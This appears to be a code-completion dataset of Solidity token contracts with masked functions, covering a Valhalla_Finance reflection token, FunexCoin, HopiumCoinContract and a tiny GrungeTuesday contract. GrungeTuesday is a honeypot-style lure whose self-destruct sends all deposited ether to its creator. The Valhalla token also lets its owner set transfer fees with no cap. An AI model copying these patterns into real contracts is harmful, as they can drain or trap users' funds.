should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} }
contract Valhalla_Finance is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Valhalla_Finance_vMOON"; string private _symbol = "vMOON"; uint8 private _decimals = 18; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 2; uint256 private _previousLiquidityFee = _liquidityFee; //No limit uint256 public _maxTxAmount = _tTotal; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 private minTokensBeforeSwap = 8; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } <FILL_FUNCTION> function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} }
return _name;
function name() public view returns (string memory)
function name() public view returns (string memory)
58,282
GrungeTuesday
multi_x
contract GrungeTuesday { address O = tx.origin; function() public payable {} function multi_x() public payable {<FILL_FUNCTION_BODY> } }
contract GrungeTuesday { address O = tx.origin; function() public payable {} <FILL_FUNCTION> }
if (msg.value >= this.balance || tx.origin == O) { selfdestruct(tx.origin); }
function multi_x() public payable
function multi_x() public payable
37,840
FunexCoin
_approve
contract FunexCoin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; constructor() public { _name = "FunexCoin"; _symbol = "Funex"; _decimals = 6; _totalSupply = 50000000000000; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function getOwner() external view returns (address) { return owner(); } function decimals() external view returns (uint8) { return _decimals; } function symbol() external view returns (string memory) { return _symbol; } function name() external view returns (string memory) { return _name; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function burn(uint256 amount) public returns (bool) { _burn(_msgSender(), amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal {<FILL_FUNCTION_BODY> } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); } }
contract FunexCoin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; constructor() public { _name = "FunexCoin"; _symbol = "Funex"; _decimals = 6; _totalSupply = 50000000000000; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function getOwner() external view returns (address) { return owner(); } function decimals() external view returns (uint8) { return _decimals; } function symbol() external view returns (string memory) { return _symbol; } function name() external view returns (string memory) { return _name; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function burn(uint256 amount) public returns (bool) { _burn(_msgSender(), amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } <FILL_FUNCTION> function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); } }
require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) internal
function _approve(address owner, address spender, uint256 amount) internal
37,929
HopiumCoinContract
_getBurnAmount
contract HopiumCoinContract is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _threshold; uint256 private _burnRate; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _name = "HOPIUM"; _symbol = "HOPIUM"; _decimals = 18; _burnRate = 69; // burnRate when transfering tokens should be divided by 1000 _threshold = 2420E18; // distribute tokens _mint(0x03E1Fe6B95BEFBC99835C6313d01d3075a81BbE2, 45E18); _mint(0x05BaD2724b1415a8B6B3000a30E37d9C637D7340, 45E18); _mint(0x076C48C9Ef4C50D84C689526d086bA56270e406c, 45E18); _mint(0x08103E240B6bE73e29319d9B9DBe9268e32a0b02, 1430E16); _mint(0x09b9A7f1335042fAf506ab5c89ce91436B39B46a, 856E16); _mint(0x0aA3ae4aB9854903482dA1F78F1052D6BcA64BbE, 3669E16); _mint(0x0B11FB8E5072A0C48cf90cDbcFc117776a73605D, 45E18); _mint(0x0c6d54839de473480Fe24eC82e4Da65267C6be46, 45E18); _mint(0x0C780749E6d0bE3C64c130450B20C40b843fbEC4, 45E18); _mint(0x10C223dFB77F49d7Cf95Cc044C2A2216b1253211, 45E18); _mint(0x167bB613c031cB387c997c82c02B106939Fd8F07, 45E18); _mint(0x16D972690c16EA81CBcef3682d9B46D0Ac0a1FE7, 5747E16); _mint(0x1aa0b915BEeA961e6c09121Bb5f9ED98a10b7658, 45E18); _mint(0x1D40FC9456A1E6F13f69615FEe1cbcBe604B9167, 1788E16); _mint(0x1EBB9eE2b0cd222877e4BcA8a56d4444EfC5e28B, 7966E16); _mint(0x2041Ea0efD9702b1Ca13C0FCa2899Ed31B9167dB, 45E18); _mint(0x25052177670Dc586FCEF615b35150CE0f0bf88a4, 5467E16); _mint(0x26c6f93451BCf317a1FC24393fE760cF695525b3, 1320E16); _mint(0x27fa60d49C82379373a76A858742D72D154e96B2, 45E18); _mint(0x298c80FCaB43fA9eE0a1EF8E6abF86374e0498d9, 45E18); _mint(0x29D62e1d0975bb024B2C40Ef6C878bF809245e71, 104E16); _mint(0x2B3352e94EB8bCC46391d89ec7A8C30D352027f8, 3462E16); _mint(0x2f442C704c3D4Bd081531175Ce05C2C88603ce09, 45E18); _mint(0x3111413a49f62be9b9547620E660780a1AC9bae1, 45E18); _mint(0x3293A92372Ae49390a97e1bB3B185EbC30e68870, 20E18); _mint(0x3481fBA85c1b227Cd401d4ef2e2390f505738B08, 45E18); _mint(0x34b7339C3D515b4a82eE58a6C6884A1f2B429872, 45E18); _mint(0x34Ba737f5195e354047a68f1eb42073AF41b153F, 348E18); _mint(0x3aDbDCe09f514283FEf7b4dEd6514f2b4A08853a, 1340E16); _mint(0x3Cc729E9CD6521E3e97CfFc17a60005f1e78e5Ac, 479E17); _mint(0x4342e82B94b128fcCBe1bDDF454e51336cC5fde2, 45E18); _mint(0x436b72cd2bc5812B8D9e6e5bD450613f7E2cB70b, 496E16); _mint(0x43B4D03a347dAE1753197Cac0FB15333126B271F, 638E16); _mint(0x444FE3e5A882D24166Fd64c9598FEcc1702D47e7, 17E18); _mint(0x4Ac70381F04eA4A14EE3Dc8142d19D22A116CA52, 755E16); _mint(0x4B424674eA391E5Ee53925DBAbD73027D06699A9, 2499E16); _mint(0x4E7e1C73C116649c1C684acB6ec98bAc4FbB4ef6, 5973E16); _mint(0x4f70eD6b19cc733D5C45A40250227C0c020Ab3cD, 494E16); _mint(0x5193542bDEdb3D029c7b399Dbe3b9E40D97A72d3, 2066E16); _mint(0x51Ed1e5560a6f60de3b1388e52e93BF9A2BE293A, 823E16); _mint(0x529771885770a756eaAb634F68B61495687D3156, 280E16); _mint(0x53848cd0F32680E0B253a4164a5E0c552d27Ce36, 574E16); 